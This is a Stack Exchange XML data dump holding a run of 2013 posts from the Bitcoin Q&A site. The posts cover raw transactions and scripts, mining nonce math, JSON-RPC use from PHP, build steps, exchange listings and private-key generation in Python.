  <row Id="13936" PostTypeId="1" CreationDate="2013-10-21T15:43:05.880" Score="6" ViewCount="934" Body="&lt;p&gt;Does &lt;code&gt;createrawtransaction&lt;/code&gt; always use the following script?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;scriptSig: &amp;lt;sig&amp;gt; &amp;lt;pubKey&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, how do you create a transaction that uses a custom &lt;code&gt;scriptPubKey&lt;/code&gt; value? If not, what is the syntax for writing the JSON that enables custom scriptPubKey values for the transaction using &lt;code&gt;createrawtransaction&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2024-02-08T09:07:26.357" Title="Does createrawtransaction have the ability to create a transaction with custom scripts?" Tags="|transactions|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13937" PostTypeId="2" ParentId="13925" CreationDate="2013-10-21T16:39:00.490" Score="4" Body="&lt;p&gt;If your transaction from April still has no confirmation, it would be feasible to create another transaction that spends the same input to yourself. You could hope that your new transaction would be verified first, which would invalidate the other transaction and salvage your coins.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-21T16:39:00.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13938" PostTypeId="2" ParentId="13936" CreationDate="2013-10-21T17:08:22.773" Score="2" Body="&lt;p&gt;Yes that is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;listunspent&lt;/li&gt;&#xA;&lt;li&gt;createrawtransaction with receiver:amount and your change:amount &#xA;&lt;ul&gt;&#xA;&lt;li&gt;(make the amount differ to pay the fee) &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Take the raw hex transaction and use it with &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt; to be able to edit in JSON format. Don't worry, when your done you can sign the raw transaction in your local client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About scriptPubKey, that is a little harder, and you should only experiment with this on testnet. You can try to understand this transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&lt;/a&gt; and also try to understand how the stack works by playing around with &lt;a href=&quot;http://wiki.forthfreak.net/index.cgi?jsforth&quot; rel=&quot;nofollow&quot;&gt;jsforth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-21T17:08:22.773" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="1" CreationDate="2013-10-21T17:27:40.157" Score="2" ViewCount="284" Body="&lt;p&gt;I'm looking for information on how Namecoin could create a &quot;Facebook-style&quot; social network and what prior work exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that namecoin has fundamental problems and fledgling support, but I'm interested in where this idea has gone in terms of creating a distributed social network.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-12-13T06:28:36.430" Title="Is there a namecoin (or similar) social network? How would it work?" Tags="|alternatives|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="2" ParentId="7870" CreationDate="2013-10-21T17:43:07.027" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://xrp.webr3.org/usd-xrp&quot; rel=&quot;nofollow&quot;&gt;http://xrp.webr3.org/usd-xrp&lt;/a&gt; has the orderbooks of Bitstamp BTC/XRP, Bitstamp USD/XRP. &lt;a href=&quot;https://ripplewise.info&quot; rel=&quot;nofollow&quot;&gt;https://ripplewise.info&lt;/a&gt; has Bitstamp, SnapSwap, RippleChina orderbooks.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="3163" LastEditDate="2013-10-21T19:21:00.000" LastActivityDate="2013-10-21T19:21:00.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13941" PostTypeId="2" ParentId="7850" CreationDate="2013-10-21T17:50:51.953" Score="1" Body="&lt;p&gt;Write a node.js app, using &lt;a href=&quot;https://github.com/ripple/ripple-lib&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://github.com/andris9/Nodemailer&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. Subscribe to account transactions, and send an email whenever something happens. &lt;/p&gt;&#xA;" OwnerUserId="3163" LastActivityDate="2013-10-21T17:50:51.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13942" PostTypeId="1" CreationDate="2013-10-21T18:00:28.350" Score="0" ViewCount="363" Body="&lt;p&gt;How can I prove my ownership of a tx's sending address to the receiver, assu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not answer This question, but to help anyone out, reading this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since localbitcoin's signature verification is broken, I've put together my own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinig.com&quot; rel=&quot;nofollow&quot;&gt;www.coinig.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7195" LastEditorUserId="7195" LastEditDate="2013-10-24T11:50:28.360" LastActivityDate="2013-10-24T11:50:28.360" Title="Authentificate myself as the sender of a bitcoin transaction" Tags="|bitcoin-core|transaction-verification|message-verification|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-21T19:33:10.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="13943" PostTypeId="2" ParentId="13942" CreationDate="2013-10-21T18:17:30.257" Score="0" Body="&lt;p&gt;Some deep, technical bitcoin magic?&lt;br&gt;&#xA;Would you care to elaborate on this more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that to prove you are the owner of the originating bitcoin address, you need to sign something using the private key from that address. That's the only true bitcoin-like solution, as this key is the very thing that allows you to make transactions is your only technical proof of ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the way said key is stored is by being in your wallet (be it the wallet file of your bitcoin client or your brain wallet or whatever else you use). If you do not have this, then you lost that address, and with it access to any remaining bitcoins in that address, and the only purely technical way of authenticating yourself as the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may yet be a non-technical solution: Find someone whom the beneficiary of your transaction mishap trusts and who can vouch for the address being your address. Maybe someone has transferred bitcoin to that very address of yours and can assure the beneficiary that it is indeed yours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that all this leaves another question: Does the beneficiary know what address he has been paid from? I may be wrong, but I suspect that each block in the blockchain describes only lumped inputs and lumped outputs, so the source(s) could(?) be any combination of the input addresses. So if I was the beneficiary, then without further educating myself about the technicalities of bitcoin transactions, I wouldn't be quite sure from which bitcoin address I'd need authentification from.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-10-21T18:43:59.570" LastActivityDate="2013-10-21T18:43:59.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13944" PostTypeId="2" ParentId="4800" CreationDate="2013-10-21T18:41:58.633" Score="0" Body="&lt;p&gt;You can purchase VPS with BitCoin currency from &lt;a href=&quot;http://www.QHoster.com&quot; rel=&quot;nofollow&quot;&gt;http://www.QHoster.com&lt;/a&gt;.&#xA;They also offer domain names with BTC. It is instant activation VPS though.&lt;/p&gt;&#xA;" OwnerUserId="7196" LastActivityDate="2013-10-21T18:41:58.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="2" ParentId="9822" CreationDate="2013-10-21T19:16:25.170" Score="0" Body="&lt;p&gt;Yep there are markets that support the currencies you listed. Do a market search on Bitdango, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitdango.com/markets?quoteCurrencies=EUR,JPY,GBP,CHF&amp;amp;baseCurrencies=BTC&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/markets?quoteCurrencies=EUR,JPY,GBP,CHF&amp;amp;baseCurrencies=BTC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will show all the markets (exchange + currency pair) that have a base currency of Bitcoin and a quote currency of JPN, EUR, GBP, or CHF. Filter further by exchange, etc.&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-10-21T19:16:25.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13948" PostTypeId="2" ParentId="12121" CreationDate="2013-10-21T20:37:55.940" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&lt;/a&gt; should work for you as Joe White commented, note you'll have to install Xcode first of all, and in Xcode open preferences - downloads and install the command line tools. I recommend homebrew over macports as it's better maintained and a little more user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the only difference is that as you're downloading from sourceforge rather than github, you skip the git clone and just find makefile.osx in /src/src/ of the downloaded folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you then (assuming you installed homebrew as standard) open makefile.osx in textedit or xcode and change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEPSDIR=/opt/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEPSDIR=/usr/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you'll probably have to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(DEPSDIR)/lib/db48/libdb_cxx-4.8.a \&#xA; $(DEPSDIR)/lib/libboost_system-mt.a \&#xA; $(DEPSDIR)/lib/libboost_filesystem-mt.a \&#xA; $(DEPSDIR)/lib/libboost_program_options-mt.a \&#xA; $(DEPSDIR)/lib/libboost_thread-mt.a \&#xA; $(DEPSDIR)/lib/libboost_chrono-mt.a \&#xA; $(DEPSDIR)/lib/libssl.a \&#xA; $(DEPSDIR)/lib/libcrypto.a \&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to paths more like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(DEPSDIR)/Cellar/openssl/1.0.1e/lib/libssl.a \&#xA; $(DEPSDIR)/Cellar/openssl/1.0.1e/lib/libcrypto.a \&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check in /usr/local for the Cellar folder and the libs folder, you could alternately alias each referenced file in /usr/local/libs &lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2013-10-21T20:37:55.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13949" PostTypeId="2" ParentId="13939" CreationDate="2013-10-21T20:40:37.730" Score="1" Body="&lt;p&gt;Well Retroshare somewhat falls into this category. It is not Coin-Based however, rather related to Bittorrent DHT technology und not well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the Bitmessage protocol which uses Coin technology for exchanging mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know why you would build such a system as a Coin network, plain BT style DHT is more suitable for this purpose in my opinion. I do not know any good reason why Bitmessage does it this way either. I think it is just overcomplicated and not well thought through. The usecase is just very different from Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, what would be the purpose of the block chain? Prevent double friending?&lt;/p&gt;&#xA;" OwnerUserId="2136" LastEditorUserId="2136" LastEditDate="2013-10-21T21:07:11.170" LastActivityDate="2013-10-21T21:07:11.170" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13951" PostTypeId="2" ParentId="7870" CreationDate="2013-10-21T21:05:04.087" Score="0" Body="&lt;p&gt;Yep, you can view all the markets that trade Ripple without logging in on the Bitango market search page: &lt;a href=&quot;http://bitdango.com/markets?quoteCurrencies=XRP&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/markets?quoteCurrencies=XRP&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-10-21T21:05:04.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13952" PostTypeId="1" CreationDate="2013-10-21T21:07:24.260" Score="1" ViewCount="900" Body="&lt;p&gt;I believe there will be a simple flaw in my understanding somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell for any given block you increment a nonce up to 2^32 (4294967296) per second (and the timestamp every second) in order to find a suitable hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus if you have a mining rig that can do 4.3Ghash/s, you can cover all possible block hashes in any given second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here, and if this is the case, why do mining rigs with this specification or higher not find all the new blocks?&lt;/p&gt;&#xA;" OwnerUserId="7157" LastEditorUserId="5406" LastEditDate="2016-03-14T20:29:47.397" LastActivityDate="2016-03-14T20:29:47.397" Title="Why do we need a mining speed above 4.3Ghash/s?" Tags="|difficulty|hashpower|nonce|block-header|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13953" PostTypeId="2" ParentId="13952" CreationDate="2013-10-21T21:15:11.897" Score="5" Body="&lt;p&gt;You assume that there exists (exactly?) one block for each work unit. This is not true, there are many variables (timestamp, nonce, transactions in a block, extranonce inside the block's coinbase transaction, ...), and all of them influence the block's hash. Each hash has a chance (as of October 2013) of less than 1 in a billion billion (1.15*10^18 to be precise) to be below the difficulty target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each miner searches a different part of the search space (which is, for all intents and purposes, infinitely large), hoping to find a valid block before anyone else does, but there is no &quot;progress&quot; to be made: every attempt has exactly the same chance as any other attempt. The nonce in the block header is just a way of making a particular group of attemps faster to search through.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-10-21T21:15:11.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13955" PostTypeId="1" CreationDate="2013-10-21T21:33:09.730" Score="8" ViewCount="349" Body="&lt;p&gt;See: &lt;a href=&quot;http://pastebin.com/raw.php?i=Sk6vyBRu&quot;&gt;http://pastebin.com/raw.php?i=Sk6vyBRu&lt;/a&gt; (each row represents 1440 blocks, each column represents a range of 100M values, covering blocks 0-216000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing some simple nonce analysis, as you can see, and it appears that something happened to nonce distribution between roughly blocks 24480-69120. As you can see nonce distribution between the range 0-2^32 is usually very evenly dispersed, so it appears something happened here and was corrected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody point me at anything related to this or inform me of what happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ease, this correlates to the start of October 2009 through till mid July 2010.&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-10-22T20:38:17.550" Title="What happened to the nonce distribution between blocks 24480-69120?" Tags="|history|nonce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13958" PostTypeId="2" ParentId="13710" CreationDate="2013-10-21T21:37:06.297" Score="0" Body="&lt;p&gt;Apparently your father is mixing up Bitcoin with Facebook. Bitcoin is not a website. For this purpose Bitcoin is not even web based but another internet service (the terms web and internet are not synonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network, as a distributed entity carried by all participants, is usable for you as long as you can retain a connection to a single remaining peer, though ideally you would prefer to have connections to multiple peers. Your ability to connect to other peers is not controlled by any central authority as it is the case with, i.e. Skype. &quot;The Bitcoin people&quot; for that matter are all participant in the network, including yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than with classical web based services there is no single point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your connection to the last peer fails or if the last peer goes down beacuse the network went out of fashion, you and others will still keep the contents of your Bitcoin wallets and a copy of the global transaction chain as it was at the latest time of your participation. Once any nodes come up again in the network they can continue running from this point.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2013-10-21T21:37:06.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13959" PostTypeId="2" ParentId="13292" CreationDate="2013-10-21T21:48:47.943" Score="1" Body="&lt;p&gt;There are quite a few exchanges in Europe with APIs. Use the Bitdango exchange search to find exchanges in European countries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitdango.com/exchanges?countries=BG,CZ,DE,FI,FR,GB,HR,MT,NL,NO,PL,SE,SI&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/exchanges?countries=BG,CZ,DE,FI,FR,GB,HR,MT,NL,NO,PL,SE,SI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use the Bitdango market search to find markets that use Euros as quote currency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitdango.com/markets?quoteCurrencies=EUR&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/markets?quoteCurrencies=EUR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-10-21T21:48:47.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13960" PostTypeId="2" ParentId="13849" CreationDate="2013-10-21T21:50:45.950" Score="0" Body="&lt;p&gt;bitcoind - d for daemon. It has a native JSON-RPC API built in to it, indeed that's what it provides. You simply use JSON-RPC calls to get information out of bitcoind, or indeed to send information to bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC API Reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;PHP Developer Intro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/search?q=bitcoin+php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin + PHP search on GitHub&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-10-21T21:50:45.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13961" PostTypeId="2" ParentId="3272" CreationDate="2013-10-21T21:56:30.647" Score="0" Body="&lt;p&gt;Use the Bitdango market search to find Namecoin markets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitdango.com/markets?baseCurrencies=NMC&quot; rel=&quot;nofollow&quot;&gt;http://bitdango.com/markets?baseCurrencies=NMC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then look at each market's order book, more orders means more liquidity (probably) so that's one way to base your decision. &lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-10-21T21:56:30.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13962" PostTypeId="2" ParentId="13849" CreationDate="2013-10-21T22:37:48.497" Score="2" Body="&lt;p&gt;First, run &lt;code&gt;bitcoind&lt;/code&gt; on your server. Set up &lt;code&gt;bitcoin.conf&lt;/code&gt; to have the correct RPC port and a password and etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, include the jsonRPCClient.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include('jsonRPCClient.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, instantiate an object like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoind = new jsonRPCClient(&quot;http://$YOUR_RPC_USER:$YOUR_RPC_PASS@$YOUR_RPC_HOST:$YOUR_RPC_PORT/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now run commands from the RPC using this object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoind-&amp;gt;getnetworkhashps();&#xA;$bitcoind-&amp;gt;getrawtransaction($txid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you want a new address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newaddr = $bitcoind-&amp;gt;getnewaddress();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-10-21T22:46:37.903" LastActivityDate="2013-10-21T22:46:37.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13963" PostTypeId="2" ParentId="13839" CreationDate="2013-10-21T23:25:42.837" Score="1" Body="&lt;p&gt;Instant Payment Notification callbacks are POSTed in the form of JSON data.  The issue may be that you're attempting to iterate over regular http params that aren't there, instead of parsing the response body as JSON.  I've never used ASP.net before but this topic looks like it may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3398926/how-to-retrieve-json-via-asp-net-context-request/3411775&quot;&gt;https://stackoverflow.com/questions/3398926/how-to-retrieve-json-via-asp-net-context-request/3411775&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2863" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-10-21T23:25:42.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="1" AcceptedAnswerId="13972" CreationDate="2013-10-21T23:58:55.183" Score="2" ViewCount="4478" Body="&lt;p&gt;Can anyone explain the math behind the mining calculators like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build a Google spreadsheet that does the same thing.&lt;/p&gt;&#xA;" OwnerUserId="7203" LastEditorUserId="5406" LastEditDate="2016-03-14T16:57:59.533" LastActivityDate="2016-03-14T16:57:59.533" Title="Explain the math behind mining profitability calculators" Tags="|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13965" PostTypeId="2" ParentId="13690" CreationDate="2013-10-22T00:25:41.277" Score="3" Body="&lt;p&gt;I co-founded &lt;a href=&quot;https://www.bitbond.net&quot; rel=&quot;nofollow&quot;&gt;Bitbond.net&lt;/a&gt; for purposes like yours. It's a peer to peer lending website where you can earn interest on your Bitcoins. However, the loans are unsecured and you need to decide which projects you like to lend to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the reasons we had and still have a financial crisis is because many people did not really care what other people were doing with their money. Then they found out that some of the banks they trusted put their money to work in products the bankers didn't even understand themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low effort is always a double-edged sword as it might create much more work later.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-10-22T00:25:41.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13966" PostTypeId="1" AcceptedAnswerId="13967" CreationDate="2013-10-22T01:47:39.527" Score="4" ViewCount="29505" Body="&lt;p&gt;What is the minimum age a person must be to use the Bitcoin service?&lt;/p&gt;&#xA;" OwnerUserId="7205" LastEditorUserId="1409" LastEditDate="2013-10-22T03:23:24.617" LastActivityDate="2021-05-30T05:28:03.827" Title="What's the minimum age to join or use Bitcoin?" Tags="|legal|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13967" PostTypeId="2" ParentId="13966" CreationDate="2013-10-22T02:36:55.493" Score="6" Body="&lt;p&gt;There is no minimum age, my children have Bitcoins and have for years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Service by service should implement whatever safety or age restrictions they need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any work done on this front, perhaps somebody else can enlighten.&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-10-22T02:36:55.493" CommentCount="1" CommunityOwnedDate="2013-10-22T02:36:55.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="13968" PostTypeId="2" ParentId="9822" CreationDate="2013-10-22T03:11:42.257" Score="-1" Body="&lt;p&gt;Just sell your coins on Bitmit (bitcoin ebay) for bitcoin.  I've used that site quite a lot, and think it's excellent. &lt;/p&gt;&#xA;" OwnerUserId="7206" LastActivityDate="2013-10-22T03:11:42.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13970" PostTypeId="1" CreationDate="2013-10-22T04:27:21.093" Score="3" ViewCount="5084" Body="&lt;p&gt;Would this Python code generate a valid ECDSA private key?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;&#xA;def r(a, b):&#xA;    sys_ran = random.SystemRandom()&#xA;    return sys_ran.randint(a, b)&#xA;&#xA;def create_private_key():&#xA;    hex_chars = '0123456789ABCDEF'&#xA;    ran_hex = '';&#xA;&#xA;    for i in range(64):&#xA;        ran_hex += hex_chars[r(0, 15)]&#xA;&#xA;    max_hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141'&#xA;&#xA;    if int(ran_hex, 16) &amp;lt;= int(max_hex, 16):&#xA;        return ran_hex&#xA;    else:&#xA;        return create_private_key()&#xA;&#xA;private_key = create_private_key()&#xA;print('Private key: ' + private_key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell from the &lt;a href=&quot;https://en.bitcoin.it/wiki/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt;, an ECDSA private key is any 64 character hexadecimal (or the corresponding decimal) number between 0x1 and 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141. It doesn't mention anything about any special algorithms required for the private key to be valid.&lt;/p&gt;&#xA;" OwnerUserId="7204" LastActivityDate="2018-09-21T16:38:27.873" Title="Python code to generate private ECDSA key" Tags="|private-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13971" PostTypeId="1" AcceptedAnswerId="17165" CreationDate="2013-10-22T05:48:01.377" Score="3" ViewCount="859" Body="&lt;p&gt;The W.Twins bitcoin ETF/trust stock &lt;a href=&quot;http://www.marketwatch.com/story/dont-laugh-off-the-winkleviis-bitcoin-etf-2013-07-08&quot; rel=&quot;nofollow&quot;&gt;can be converted to real bitcoins&lt;/a&gt;. This means that we can buy $100 worth of stock and convert it to maybe 0.5 BTC depending on the current rate. And we can buy 0.5 BTC and convert it to maybe $100 worth of stock depending on the current rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't that make the bitcoin ETF yet another bitcoin exchange like MtGox, BitStamp, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the difference between a bitcoin ETF and a bitcoin exchange then?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.businessinsider.com/winklevoss-bitcoin-etf-2013-7&quot; rel=&quot;nofollow&quot;&gt;W.Twins claimed&lt;/a&gt; that the ETF shares will reflect the performance of a weighted average price of Bitcoins in the other markets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we all know that's not going to happen. Being yet another exchange, it is subject to supply and demand, which in turn is dependent on the popularity and the ease of deposit / withdrawal of USD among other factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can't say that BitStamp (or MtGox or BTC-e) rate is the weighted average of all the other exchanges can we? It simply has it's own unique rate, due to it's own unique supply and it's own unique demand. Similarly, the bitcoin ETF/trust will have it's own unique rate, due to it's own unique supply and it's own unique demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, if we imagine that MtGox has a subsidiary called &quot;MtGox-Trust&quot;, and each of our bitcoin in our MtGox account is a &quot;MtGox-Trust&quot; stock that we can sell and buy, then MtGox is effectively now a bitcoin ETF isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can someone explain how will a bitcoin ETF be any different from a bitcoin exchange?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="5406" LastEditDate="2017-03-11T10:44:08.230" LastActivityDate="2024-03-14T12:27:40.987" Title="How will a bitcoin ETF be any different from a bitcoin exchange?" Tags="|exchanges|trading|finance|bitcoin-etf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
